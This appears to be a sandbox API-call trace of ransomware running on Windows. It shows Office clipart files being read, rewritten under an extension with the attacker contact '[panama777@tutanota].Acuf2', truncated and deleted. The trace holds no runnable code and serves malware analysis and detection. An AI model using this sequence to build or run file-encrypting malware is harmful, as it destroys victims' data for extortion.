	[0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.040] lstrlenW (lpString=".zip") returned 4
	[0256.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.040] lstrlenW (lpString=".rar") returned 4
	[0256.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.040] lstrlenW (lpString=".bz2") returned 4
	[0256.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.040] lstrlenW (lpString=".7z") returned 3
	[0256.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.040] lstrlenW (lpString=".dbf") returned 4
	[0256.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.040] lstrlenW (lpString=".1cd") returned 4
	[0256.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.040] lstrlenW (lpString=".jpg") returned 4
	[0256.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.040] lstrlenW (lpString=".doc") returned 4
	[0256.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString=".docx") returned 5
	[0256.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.041] lstrlenW (lpString=".pdf") returned 4
	[0256.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString=".xls") returned 4
	[0256.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.041] lstrlenW (lpString=".xlsx") returned 5
	[0256.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.041] lstrlenW (lpString=".ppt") returned 4
	[0256.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.041] lstrlenW (lpString=".zip") returned 4
	[0256.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.041] lstrlenW (lpString=".rar") returned 4
	[0256.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString=".bz2") returned 4
	[0256.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString=".7z") returned 3
	[0256.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.041] lstrlenW (lpString=".dbf") returned 4
	[0256.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.041] lstrlenW (lpString=".1cd") returned 4
	[0256.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.041] lstrlenW (lpString=".jpg") returned 4
	[0256.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.042] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.042] lstrlenW (lpString="BD09194_.WMF") returned 12
	[0256.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.042] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=14540) returned 1
	[0256.042] CloseHandle (hObject=0x338) returned 1
	[0256.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20
	[0256.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.043] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.043] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.043] GetLastError () returned 0x0
	[0256.043] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x38cc, lpOverlapped=0x0) returned 1
	[0256.049] WriteFile (in: hFile=0x34c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x38d0, lpOverlapped=0x0) returned 1
	[0256.095] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.096] WriteFile (in: hFile=0x34c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.106] SetEndOfFile (hFile=0x34c) returned 1
	[0256.106] CloseHandle (hObject=0x34c) returned 1
	[0256.106] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.106] SetEndOfFile (hFile=0x338) returned 1
	[0256.109] CloseHandle (hObject=0x338) returned 1
	[0256.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1
	[0256.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.266] lstrlenW (lpString=".doc") returned 4
	[0256.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.266] lstrlenW (lpString=".docx") returned 5
	[0256.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.266] lstrlenW (lpString=".pdf") returned 4
	[0256.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.266] lstrlenW (lpString=".xls") returned 4
	[0256.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.266] lstrlenW (lpString=".xlsx") returned 5
	[0256.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.266] lstrlenW (lpString=".ppt") returned 4
	[0256.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.266] lstrlenW (lpString=".zip") returned 4
	[0256.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.266] lstrlenW (lpString=".rar") returned 4
	[0256.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.266] lstrlenW (lpString=".bz2") returned 4
	[0256.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.266] lstrlenW (lpString=".7z") returned 3
	[0256.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.267] lstrlenW (lpString=".dbf") returned 4
	[0256.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.267] lstrlenW (lpString=".1cd") returned 4
	[0256.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.267] lstrlenW (lpString=".jpg") returned 4
	[0256.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.267] lstrlenW (lpString=".doc") returned 4
	[0256.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.267] lstrlenW (lpString=".docx") returned 5
	[0256.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.267] lstrlenW (lpString=".pdf") returned 4
	[0256.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.267] lstrlenW (lpString=".xls") returned 4
	[0256.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.273] lstrlenW (lpString=".xlsx") returned 5
	[0256.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.273] lstrlenW (lpString=".ppt") returned 4
	[0256.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.273] lstrlenW (lpString=".zip") returned 4
	[0256.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.273] lstrlenW (lpString=".rar") returned 4
	[0256.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.273] lstrlenW (lpString=".bz2") returned 4
	[0256.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.273] lstrlenW (lpString=".7z") returned 3
	[0256.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.273] lstrlenW (lpString=".dbf") returned 4
	[0256.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.273] lstrlenW (lpString=".1cd") returned 4
	[0256.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63
	[0256.273] lstrlenW (lpString=".jpg") returned 4
	[0256.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.273] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0256.273] lstrlenW (lpString="BD10972_.GIF") returned 12
	[0256.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.286] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=20189) returned 1
	[0256.286] CloseHandle (hObject=0x28c) returned 1
	[0256.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20
	[0256.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.395] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.395] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0256.397] GetLastError () returned 0x0
	[0256.397] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4edd, lpOverlapped=0x0) returned 1
	[0256.421] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4ee0, lpOverlapped=0x0) returned 1
	[0256.423] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.423] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.423] SetEndOfFile (hFile=0x32c) returned 1
	[0256.448] CloseHandle (hObject=0x32c) returned 1
	[0256.467] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.467] SetEndOfFile (hFile=0x354) returned 1
	[0256.496] CloseHandle (hObject=0x354) returned 1
	[0256.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1
	[0256.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.497] lstrlenW (lpString=".doc") returned 4
	[0256.497] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.497] lstrlenW (lpString=".docx") returned 5
	[0256.497] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.497] lstrlenW (lpString=".pdf") returned 4
	[0256.497] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.497] lstrlenW (lpString=".xls") returned 4
	[0256.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.497] lstrlenW (lpString=".xlsx") returned 5
	[0256.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.497] lstrlenW (lpString=".ppt") returned 4
	[0256.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.497] lstrlenW (lpString=".zip") returned 4
	[0256.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.497] lstrlenW (lpString=".rar") returned 4
	[0256.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.497] lstrlenW (lpString=".bz2") returned 4
	[0256.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.497] lstrlenW (lpString=".7z") returned 3
	[0256.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.497] lstrlenW (lpString=".dbf") returned 4
	[0256.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.498] lstrlenW (lpString=".1cd") returned 4
	[0256.498] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.498] lstrlenW (lpString=".jpg") returned 4
	[0256.498] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.498] lstrlenW (lpString=".doc") returned 4
	[0256.498] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.498] lstrlenW (lpString=".docx") returned 5
	[0256.498] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.498] lstrlenW (lpString=".pdf") returned 4
	[0256.498] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.498] lstrlenW (lpString=".xls") returned 4
	[0256.498] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.498] lstrlenW (lpString=".xlsx") returned 5
	[0256.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.499] lstrlenW (lpString=".ppt") returned 4
	[0256.499] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.499] lstrlenW (lpString=".zip") returned 4
	[0256.499] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.499] lstrlenW (lpString=".rar") returned 4
	[0256.499] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.499] lstrlenW (lpString=".bz2") returned 4
	[0256.499] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.499] lstrlenW (lpString=".7z") returned 3
	[0256.499] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.499] lstrlenW (lpString=".dbf") returned 4
	[0256.499] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.499] lstrlenW (lpString=".1cd") returned 4
	[0256.499] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63
	[0256.499] lstrlenW (lpString=".jpg") returned 4
	[0256.499] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.499] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.499] lstrlenW (lpString="BD19988_.WMF") returned 12
	[0256.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.500] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=18304) returned 1
	[0256.500] CloseHandle (hObject=0x354) returned 1
	[0256.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20
	[0256.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.500] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.500] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.501] GetLastError () returned 0x0
	[0256.501] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4780, lpOverlapped=0x0) returned 1
	[0256.502] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4790, lpOverlapped=0x0) returned 1
	[0256.503] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.503] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.503] SetEndOfFile (hFile=0x35c) returned 1
	[0256.504] CloseHandle (hObject=0x35c) returned 1
	[0256.504] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.504] SetEndOfFile (hFile=0x354) returned 1
	[0256.506] CloseHandle (hObject=0x354) returned 1
	[0256.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1
	[0256.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.506] lstrlenW (lpString=".doc") returned 4
	[0256.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.506] lstrlenW (lpString=".docx") returned 5
	[0256.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.507] lstrlenW (lpString=".pdf") returned 4
	[0256.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.507] lstrlenW (lpString=".xls") returned 4
	[0256.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.507] lstrlenW (lpString=".xlsx") returned 5
	[0256.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.507] lstrlenW (lpString=".ppt") returned 4
	[0256.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.507] lstrlenW (lpString=".zip") returned 4
	[0256.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
